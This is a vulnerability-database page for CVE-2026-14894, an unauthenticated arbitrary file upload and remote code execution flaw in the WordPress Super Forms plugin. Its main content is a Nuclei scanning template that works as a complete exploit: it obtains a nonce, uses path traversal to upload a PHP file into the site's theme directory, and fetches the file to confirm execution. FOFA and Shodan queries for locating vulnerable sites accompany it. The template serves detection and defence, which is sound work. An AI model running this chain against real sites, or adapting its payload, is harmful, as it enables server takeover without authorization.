Lucene search
+L

WordPress Super Forms <= 6.3.313 - Arbitrary File Upload

🗓️ 08 Aug 2026 10:49:58Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 6 Views

Unauthenticated arbitrary file upload in WordPress Super Forms 6.3.313 enables remote code execution via missing file type validation and capability checks.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2026-14894
16 Jul 202615:24
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-14894
11 Jul 202613:34
githubexploit
attackerkb
ATTACKERKB
CVE-2026-14894
10 Jul 202602:30
attackerkb
circl
Circl
CVE-2026-14894
10 Jul 202604:30
circl
cve
CVE
CVE-2026-14894
10 Jul 202602:30
cve
cvelist
Cvelist
CVE-2026-14894 Super Forms <= 6.3.313 - Unauthenticated Arbitrary File Upload via 'data' Parameter (datauristring / value)
10 Jul 202602:30
cvelist
euvd
EUVD
EUVD-2026-42779
10 Jul 202602:30
euvd
nvd
NVD
CVE-2026-14894
10 Jul 202604:17
nvd
patchstack
Patchstack
WordPress Super Forms – Drag & Drop Form Builder plugin <= 6.3.313 - Unauthenticated Arbitrary File Upload vulnerability
10 Jul 202605:49
patchstack
ptsecurity
Positive Technologies
PT-2026-57051
10 Jul 202600:00
ptsecurity
Rows per page
id: CVE-2026-14894

info:
  name: WordPress Super Forms <= 6.3.313 - Arbitrary File Upload
  author: pdteam,0x_Akoko
  severity: critical
  description: |
    Super Forms – Drag & Drop Form Builder WordPress plugin \u003C= 6.3.313 contains an arbitrary file upload vulnerability caused by missing file type validation and lack of capability checks in submit_form nopriv AJAX handler, letting unauthenticated attackers upload executable files and achieve remote code execution, exploit requires no authentication due to nonce bypass.
  impact: |
    Unauthenticated attackers can upload executable files and execute arbitrary code remotely, potentially compromising the entire server.
  remediation: |
    Update to the latest version of Super Forms – Drag & Drop Form Builder plugin.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/e9c7fb16-efbb-41e9-be13-98e96c1e9100
    - https://patchstack.com/database/wordpress/plugin/super-forms/vulnerability/wordpress-super-forms-drag-drop-form-builder-plugin-6-3-313-unauthenticated-arbitrary-file-upload-vulnerability
    - https://github.com/shinthink/CVE-2026-14894
    - https://nvd.nist.gov/vuln/detail/CVE-2026-14894
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-14894
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 4
    vendor: developer-developer
    product: super-forms
    framework: wordpress
    fofa-query: body="wp-content/plugins/super-forms"
    shodan-query: http.html:"wp-content/plugins/super-forms"
  tags: cve,cve2026,wordpress,wp-plugin,wp,file-upload,rce,kev,intrusive

variables:
  rand: "{{to_lower(rand_text_alpha(8))}}"

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: word
        words:
          - "/wp-content/themes"
        internal: true

    extractors:
      - type: regex
        name: wptheme
        group: 1
        regex:
          - 'wp-content/themes/([a-zA-Z0-9_-]+)/'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php?action=super_create_nonce HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=super_create_nonce

    extractors:
      - type: regex
        part: body
        name: sfnonce
        regex:
          - '([a-f0-9]{10,})'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php?action=super_submit_form HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        sf_nonce={{sfnonce}}&form_id=1&data=%7B%22sf_upload_field%22%3A%7B%22type%22%3A%22files%22%2C%22files%22%3A%5B%7B%22value%22%3A%22../../../../../themes/{{wptheme}}/{{rand}}.php%22%2C%22datauristring%22%3A%22data%3Aimage/png%3Bbase64%2CPD9waHAgZWNobyAnQ1ZFLTIwMjYtMTQ4OTQtc2ZyY2UnOyBkaWUoKTsgPz4%3D%22%2C%22name%22%3A%22{{rand}}.php%22%2C%22label%22%3A%22attachment%22%7D%5D%7D%7D

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 302'
        internal: true

  - raw:
      - |
        GET /wp-content/themes/{{wptheme}}/{{rand}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "CVE-2026-14894-sfrce")'
        condition: and
# digest: 4b0a00483046022100899c7fb646941b5b720aada0316f20a20a94fd3059b69adaef50f0f6579e15f2022100c81a308f1619cbac5bf96d69cc4bf1a1af3ba184616f624cb22ed7a196a75d85:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Jul 2026 09:45Current
5.7Medium risk
Vulners AI Score5.7
CVSS 3.19.8
EPSS0.00738
SSVC
6